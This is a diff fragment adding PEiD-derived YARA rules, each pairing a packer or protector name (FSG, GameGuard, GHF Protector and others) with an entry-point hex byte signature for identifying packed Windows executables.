+        $a
+}
+
+rule PEiD_00820_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 4D 83 F6 4C 68 80 ?? ?? 00 EB 02 CD 20 5B EB 01 23 68 48 1C 2B 3A E8 02 00 00 00 38}
+    condition:
+        $a
+}
+
+rule PEiD_00821_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 AB 35 EB 02 B5 C6 8D 05 80 ?? ?? 00 C1 C2 11 BE F4 00 00 00 F7 DB F7 DB 0F BE 38 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00822_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? ?? BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+    condition:
+        $a
+}
+
+rule PEiD_00823_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 ?? CF ?? ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_00824_FSG_v1_10__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 ?? BF ?? 10 40 ?? BE}
+    condition:
+        $a
+}
+
+rule PEiD_00825_FSG_v1_10__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {E8 01 00 00 00 ?? ?? E8 ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00826_FSG_v1_10__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? EB 02 ?? ?? ?? 80 ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_00827_FSG_v1_1_
+{
+    meta:
+        description = "[FSG v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 ?? BF ?? 10 40 ?? BE ?? ?? ?? ?? FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16}
+    condition:
+        $a
+}
+
+rule PEiD_00828_FSG_v1_20__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6 EB 02 56 7B 2A D3 E8 01 00 00 00 ED 58 88 16 13 C3 46 EB 02 CD 20 4B EB 02 CD 20 2B C9 3B D9 75 A1 E8 02 00 00 00 D7 6B 58 EB 00 9E 96 6A 28 67 AB 69 54 03 3E 7F ?? ?? ?? 31 0D 63 44 35 38 37 18 87 9F 10 8C 37 C6 41 80 4C 5E 8B DB 60 4C 3A 28 08 30 BF 93 05 D1 58 13 2D B8 86 AE C8 58 16 A6 95 C5 94 03 33 6F FF 92 20 98 87 9C E5 B9 20 B5 68 DE 16 4A 15 C1 7F 72 71 65 3E A9 85 20 AF 5A 59 54 26 66 E9 3F 27 DE 8E 7D 34 53 61 F7 AF 09 29 5C F7 36 83 60 5F 52 92 5C D0 56 55 C9 61 7A FD EF 7E E8 70 F8 6E 7B EF}
+    condition:
+        $a
+}
+
+rule PEiD_00829_FSG_v1_20__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB EE 90 14 2C 77 2A D3 EB 01 87 2A D3 E8 01 00 00 00 92 59 88 16 EB 02 52 08 46 EB 02 CD 20 4B 80 F1 C2 85 DB 75 AE C1 E0 04 EB 00 DA B2 82 5C 9B C7 89 98 4F 8A F7 ?? ?? ?? B1 4D DF B8 AD AC AB D4 07 27 D4 50 CF 9A D5 1C EC F2 27 77 18 40 4E A4 A8 B4 CB 9F 1D D9 EC 1F AD BC 82 AA C0 4C 0A A2 15 45 18 8F BB 07 93 BE C0 BC A3 B0 9D 51 D4 F1 08 22 62 96 6D 09 73 7E 71 A5 3A E5 7D 94 A3 96 99 98 72 B2 31 57 7B FA AE 9D 28 4F 99 EF A3 25 49 60 03 42 8B 54 53 5E 92 50 D4 52 4D C1 55 76 FD F7 8A FC 78 0C 82 87 0F}
+    condition:
+        $a
+}
+
+rule PEiD_00830_FSG_v1_20__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "true"
+    strings:
+        $a = {0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01 F7 2B FE EB 01 7F 81 EF DF 30 90 1E EB 02 CD 20 87 FA 88 10 80 EA 03 40 EB 01 20 4E EB 01 3D 83 FE 00 75 A2 EB 02 CD 20 EB 01 C3 78 73 42 F7 35 6C 2D 3F ED 33 97 ?? ?? ?? 5D F0 45 29 55 57 55 71 63 02 72 E9 1F 2D 67 B1 C0 91 FD 10 58 A3 90 71 6C 83 11 E0 5D 20 AE 5C 71 83 D0 7B 10 97 54 17 11 C0 0E 00 33 76 85 33 3C 33 21 31 F5 50 CE 56 6C 89 C8 F7 CD 70 D5 E3 DD 08 E8 4E 25 FF 0D F3 ED EF C8 0B 89 A6 CD 77 42 F0 A6 C8 19 66 3D B2 CD E7 89 CB 13 D7 D5 E3 1E DF 5A E3 D5 50 DF B3 39 32 C0 2D B0 3F B4 B4 43}
+    condition:
+        $a
+}
+
+rule PEiD_00831_FSG_v1_20__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE 58 80 EA 33 C1 E1 12 32 D3 48 80 C2 26 EB 02 CD 20 88 16 F7 D8 46 EB 01 C0 4B 40 8D 0D 00 00 00 00 3B D9 75 B7 EB 01 14 EB 01 0A CF C5 93 53 90 DA 96 67 54 8D CC ?? ?? 51 8E 18 74 53 82 83 80 47 B4 D2 41 FB 64 31 6A AF 7D 89 BC 0A 91 D7 83 37 39 43 50 A2 32 DC 81 32 3A 4B 97 3D D9 63 1F 55 42 F0 45 32 60 9A 28 51 61 4B 38 4B 12 E4 49 C4 99 09 47 F9 42 8C 48 51 4E 70 CF B8 12 2B 78 09 06 07 17 55 D6 EA 10 8D 3F 28 E5 02 0E A2 58 B8 D6 0F A8 E5 10 EB E8 F1 23 EF 61 E5 E2 54 EA A9 2A 22 AF 17 A1 23 97 9A 1C}
+    condition:
+        $a
+}
+
+rule PEiD_00832_FSG_v1_20__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA 73 8B CF 81 C2 96 44 EB 04 EB 02 CD 20 88 16 E8 02 00 00 00 44 A2 59 46 E8 01 00 00 00 AD 59 4B 80 C1 13 83 FB 00 75 B2 F7 D9 96 8F 80 4D 0C 4C 91 50 1C 0C 50 8A ?? ?? ?? 50 E9 34 16 50 4C 4C 0E 7E 9B 49 C6 32 02 3E 7E 7B 5E 8C C5 6B 50 3F 0E 0F 38 C8 95 18 D1 65 11 2C B8 87 28 C3 4C 0B 3C AC D9 2D 15 4E 8F 1C 40 4F 28 98 3E 10 C1 45 DB 8F 06 3F EC 48 61 4C 50 50 81 DF C3 20 34 84 10 10 0C 1F 68 DC FF 24 8C 4D 29 F5 1D 2C BF 74 CF F0 24 C0 08 2E 0C 0C 10 51 0C 91 10 10 81 16 D0 54 4B D7 42 C3 54 CB C9 4E}
+    condition:
+        $a
+}
+rule PEiD_00833_FSG_v1_20__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3 EB 02 42 C0 EB 01 08 88 16 80 F1 98 80 C9 28 46 91 EB 02 C0 55 4B EB 01 55 34 44 0B DB 75 AD E8 01 00 00 00 9D 59 0B C6 EB 01 6C E9 D2 C3 82 C2 03 C2 B2 82 C2 00 ?? ?? 7C C2 6F DA BC C2 C2 C2 CC 1C 3D CF 4C D8 84 D0 0C FD F0 42 77 0D 66 F1 AC C1 DE CE 97 BA D7 EB C3 AE DE 91 AA D5 02 0D 1E EE 3F 23 77 C4 01 72 12 C1 0E 1E 14 82 37 AB 39 01 88 C9 DE CA 07 C2 C2 C2 17 79 49 B2 DA 0A C2 C2 C2 A9 EA 6E 91 AA 2E 03 CF 7B 9F CE 51 FA 6D A2 AA 56 8A E4 C2 C2 C2 07 C2 47 C2 C2 17 B8 42 C6 8D 31 88 45 BA 3D 2B BC}
+    condition:
+        $a
+}
+
+rule PEiD_00834_FSG_v1_2_
+{
+    meta:
+        description = "[FSG v1.2]"
+        ep_only = "true"
+    strings:
+        $a = {4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 ?? 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00835_FSG_v1_30__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.30 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00836_FSG_v1_31__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.31 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 97 33 C9 41 FF D3 13 C9 FF D3 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 5B 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 58 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 89 06 AD 85 C0 75 D9 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 88 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00837_FSG_v1_31_
+{
+    meta:
+        description = "[FSG v1.31]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 BB ?? ?? ?? ?? B2 80 A4 B6 80 FF D3 73 F9 33 C9}
+    condition:
+        $a
+}
+
+rule PEiD_00838_FSG_v1_33__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.33 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00839_FSG_v1_33__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.33 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 9D 8B D6 5E AD 48 74 0A 79 02 AD 50 56 8B F2 97 EB 87 AD 93 5E 46 AD 97 56 FF 13 95 AC 84 C0 75 FB FE 0E 74 F0 79 05 46 AD 50 EB 09 FE 0E 0F 84 ?? ?? ?? FF 56 55 FF 53 04 AB EB E0 33 C9 41 FF 13 13 C9 FF 13 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 54 01 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 01 00 00 6F 01 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00840_FSG_v1_33_
+{
+    meta:
+        description = "[FSG v1.33]"
+        ep_only = "true"
+    strings:
+        $a = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73}
+    condition:
+        $a
+}
+
+rule PEiD_00841_FSG_v1_3_
+{
+    meta:
+        description = "[FSG v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? ?? 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE}
+    condition:
+        $a
+}
+
+rule PEiD_00842_FSG_v1_3_
+{
+    meta:
+        description = "[FSG v1.3]"
+        ep_only = "false"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? ?? 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE ?? 74 EF FE}
+    condition:
+        $a
+}
+
+rule PEiD_00843_FSG_v2_0____bart_xt_
+{
+    meta:
+        description = "[FSG v2.0 -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {87 25 ?? ?? ?? 00 61 94 55 A4 B6 80 FF 13}
+    condition:
+        $a
+}
+
+rule PEiD_00844_FSG_v2_0_
+{
+    meta:
+        description = "[FSG v2.0]"
+        ep_only = "false"
+    strings:
+        $a = {87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75}
+    condition:
+        $a
+}
+
+rule PEiD_00845_Fuck_n_Joy_1_0c____UsAr_
+{
+    meta:
+        description = "[Fuck'n'Joy 1.0c -> UsAr]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_00846_Fuck_n_Joy_v1_0c____UsAr_
+{
+    meta:
+        description = "[Fuck'n'Joy v1.0c -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00 00 0B C0 0F 84 EC 00 00 00 89 85 4D 08 40 00 8D 85 51 08 40 00 50 FF B5 6C 08 40 00 E8 AF 02 00 00 0B C0 0F 84 CC 00 00 00 89 85 5C 08 40 00 8D 85 67 07 40 00 E8 7B 02 00 00 8D B5 C4 07 40 00 56 6A 64 FF 95 74 07 40 00 46 80 3E 00 75 FA C7 06 74 6D 70 2E 83 C6 04 C7 06 65 78 65 00 8D 85 36 07 40 00 E8 4C 02 00 00 33 DB 53 53 6A 02 53 53 68 00 00 00 40 8D 85 C4 07 40 00 50 FF 95 74 07 40 00 89 85 78 07 40 00 8D 85 51 07 40 00 E8 21 02 00 00 6A 00 8D 85 7C 07 40 00 50 68 00 ?? ?? 00 8D 85 F2 09 40 00 50 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00847_Fusion_1_0____jaNooNi_
+{
+    meta:
+        description = "[Fusion 1.0 -> jaNooNi]"
+        ep_only = "true"
+    strings:
+        $a = {68 04 30 40 00 68 04 30 40 00 E8 09 03 00 00 68 04 30 40 00 E8 C7 02 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00848_G_X_Protector_1_2____Guru_eXe_
+{
+    meta:
+        description = "[G!X Protector 1.2 -> Guru.eXe]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00849_GameGuard___nProtect_
+{
+    meta:
+        description = "[GameGuard - nProtect]"
+        ep_only = "true"
+    strings:
+        $a = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE ?? ?? ?? ?? 31 FF 74 06 61 E9 4A 4D 50 30 8D BE ?? ?? ?? ?? 31 C9 74 06 61 E9 4A 4D 50 30 B8 7D 00 00 00 39 C2 B8 4C 00 00 00 F7 D0 75 3F 64 A1 30 00 00 00 85 C0 78 23 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00850_GameGuard___nProtect_
+{
+    meta:
+        description = "[GameGuard - nProtect]"
+        ep_only = "true"
+    strings:
+        $a = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE ?? ?? ?? ?? 31 FF 74 06 61 E9 4A 4D 50 30 8D BE ?? ?? ?? ?? 31 C9 74 06 61 E9 4A 4D 50 30 B8 7D 00 00 00 39 C2 B8 4C 00 00 00 F7 D0 75 3F 64 A1 30 00 00 00 85 C0 78 23 8B 40 0C 8B 40 0C C7 40 20 00 10 00 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 85 C0 75 16 E9 12 00 00 00 31 C0 64 A0 20 00 00 00 85 C0 75 05 E9 01 00 00 00 61 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+    condition:
+        $a
+}
+
+rule PEiD_00851_GameGuard_v2006_5_x_x____dll__
+{
+    meta:
+        description = "[GameGuard v2006.5.x.x (*.dll)]"
+        ep_only = "true"
+    strings:
+        $a = {31 FF 74 06 61 E9 4A 4D 50 30 BA 4C 00 00 00 80 7C 24 08 01 0F 85 ?? 01 00 00 60 BE 00}
+    condition:
+        $a
+}
+
+rule PEiD_00852_GameGuard_v2006_5_x_x____exe__
+{
+    meta:
+        description = "[GameGuard v2006.5.x.x (*.exe)]"
+        ep_only = "true"
+    strings:
+        $a = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE 00}
+    condition:
+        $a
+}
+
+rule PEiD_00853_Gamehouse_Media_Protector_Version_Unknown_
+{
+    meta:
+        description = "[Gamehouse Media Protector Version Unknown]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00854_Gardian_Angel_1_0_
+{
+    meta:
+        description = "[Gardian Angel 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {06 8C C8 8E D8 8E C0 FC BF ?? ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_00855_Gentee_Installer_Custom_
+{
+    meta:
+        description = "[Gentee Installer Custom]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 14 04 00 00 53 56 57 6A 00 FF 15 08 41 40 00 68 00 50 40 00 FF 15 04 41 40 00 85 C0 74 29 6A 00 A1 00 20 40 00 ?? ?? ?? ?? 41 40 00 8B F0 6A 06 56 FF 15 1C 41 40 00 6A 03 56 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00856_GHF_Protector__pack_only_____GPcH_
+{
+    meta:
+        description = "[GHF Protector (pack only) -> GPcH]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+    condition:
+        $a
+}
+
+rule PEiD_00857_GHF_Protector__pack_only_____GPcH_
+{
+    meta:
+        description = "[GHF Protector (pack only) -> GPcH]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 61 B9 FC FF FF FF 8B 1C 08 89 99 ?? ?? ?? ?? E2 F5 90 90 BA ?? ?? ?? ?? BE ?? ?? ?? ?? 01 D6 8B 46 0C 85 C0 0F 84 87 00 00 00 01 D0 89 C3 50 B8 ?? ?? ?? ?? FF 10 85 C0 75 08 53 B8 ?? ?? ?? ?? FF 10 89 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 00 00 00 00 BA ?? ?? ?? ?? 8B 06 85 C0 75 03 8B 46 10 01 D0 03 05 ?? ?? ?? ?? 8B 18 8B 7E 10 01 D7 03 3D ?? ?? ?? ?? 85 DB 74 2B F7 C3 00 00 00 80 75 04 01 D3 43 43 81 E3 FF FF FF 0F 53 FF 35 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 89 07 83 05 ?? ?? ?? ?? 04 EB AE 83 C6 14 BA ?? ?? ?? ?? E9 6E FF FF FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 8B 15 ?? ?? ?? ?? 52 FF D0 61 BA ?? ?? ?? ?? FF E2 90 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00858_GHF_Protector__pack____GPcH_
+{
+    meta:
+        description = "[GHF Protector (pack) / GPcH]"
